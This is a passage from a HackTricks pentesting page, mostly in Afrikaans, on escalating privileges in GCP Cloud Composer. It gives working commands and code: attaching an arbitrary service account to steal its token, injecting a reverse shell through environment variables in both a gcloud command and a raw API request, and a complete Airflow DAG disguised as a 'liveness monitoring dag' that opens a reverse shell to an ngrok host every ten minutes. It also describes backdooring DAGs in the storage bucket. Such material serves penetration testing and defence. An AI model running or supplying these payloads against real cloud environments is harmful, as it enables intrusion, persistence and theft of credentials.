# GCP - Composer Privesc

{{#include ../../../banners/hacktricks-training.md}}

## composer

Meer inligting in:

{{#ref}}
../gcp-services/gcp-composer-enum.md
{{#endref}}

### `composer.environments.create`

Dit is moontlik om met daardie toestemming **enige service account** aan die nuut geskepte composer-omgewing te koppel. Later kan jy kode binne composer uitvoer om die service account token te steel.

<details><summary>Skep Composer-omgewing met aangehegte service account</summary>
```bash
gcloud composer environments create privesc-test \
--project "${PROJECT_ID}" \
--location europe-west1 \
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
```
</details>

Meer inligting oor die uitbuiting [**here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).

### `composer.environments.update`

Dit is moontlik om die composer environment op te dateer, byvoorbeeld deur env variables te wysig:

<details><summary>Opdateer Composer environment variables vir code execution</summary>
```bash
# Even if it says you don't have enough permissions the update happens
gcloud composer environments update \
projects/<project-id>/locations/<location>/environments/<composer-env-name> \
--update-env-variables="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/19990 0>&1' & #%s" \
--location <location> \
--project <project-id>

# Call the API endpoint directly
PATCH /v1/projects/<project-id>/locations/<location>/environments/<composer-env-name>?alt=json&updateMask=config.software_config.env_variables HTTP/2
Host: composer.googleapis.com
User-Agent: google-cloud-sdk gcloud/480.0.0 command/gcloud.composer.environments.update invocation-id/826970373cd441a8801d6a977deba693 environment/None environment-version/None client-os/MACOSX client-os-ver/23.4.0 client-pltf-arch/arm interactive/True from-script/False python/3.12.3 term/xterm-256color (Macintosh; Intel Mac OS X 23.4.0)
Accept-Encoding: gzip, deflate, br
Accept: application/json
Content-Length: 178
Content-Type: application/json
X-Goog-Api-Client: cred-type/sa
Authorization: Bearer [token]
X-Allowed-Locations: 0x0

{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
```
</details>

TODO: Kry RCE deur nuwe pypi-pakkette by die omgewing te voeg

### Laai DAGs af

Kontroleer die bronkode van die DAGs wat uitgevoer word:

<details><summary>Eksporteer en laai DAGs uit die Composer-omgewing af</summary>
```bash
mkdir /tmp/dags
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
```
</details>

### Importeer Dags

Voeg die python DAG-kode in 'n lêer en importeer dit deur die volgende uit te voer:

<details><summary>Importeer kwaadaardige DAG in Composer-omgewing</summary>
```bash
# TODO: Create dag to get a rev shell
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
```
</details>

Reverse shell DAG:

<details><summary>Python DAG code for reverse shell</summary>
```python
import airflow
from airflow import DAG
from airflow.operators.bash_operator import BashOperator
from datetime import timedelta

default_args = {
'start_date': airflow.utils.dates.days_ago(0),
'retries': 1,
'retry_delay': timedelta(minutes=5)
}

dag = DAG(
'reverse_shell',
default_args=default_args,
description='liveness monitoring dag',
schedule_interval='*/10 * * * *',
max_active_runs=1,
catchup=False,
dagrun_timeout=timedelta(minutes=10),
)

# priority_weight has type int in Airflow DB, uses the maximum.
t1 = BashOperator(
task_id='bash_rev',
bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',
dag=dag,
depends_on_past=False,
priority_weight=2**31 - 1,
do_xcom_push=False)
```
</details>

### Write Access to the Composer bucket

Al die komponente van 'n Composer-omgewing (DAGs, plugins en data) word in 'n GCP bucket gestoor. Indien die aanvaller lees- en skryfpermisies daarop het, kan hy die bucket monitor en **sodra 'n DAG geskep of opgedateer word, 'n backdoored weergawe indien** sodat die Composer-omgewing vanaf die storage die backdoored weergawe sal kry.

Kry meer inligting oor hierdie aanval in:

{{#ref}}
gcp-storage-privesc.md
{{#endref}}

### Import Plugins

TODO: Kontroleer wat moontlik gekompromitteer kan word deur plugins op te laai

### Import Data

TODO: Kontroleer wat moontlik gekompromitteer kan word deur data op te laai

{{#include ../../../banners/hacktricks-training.md}}
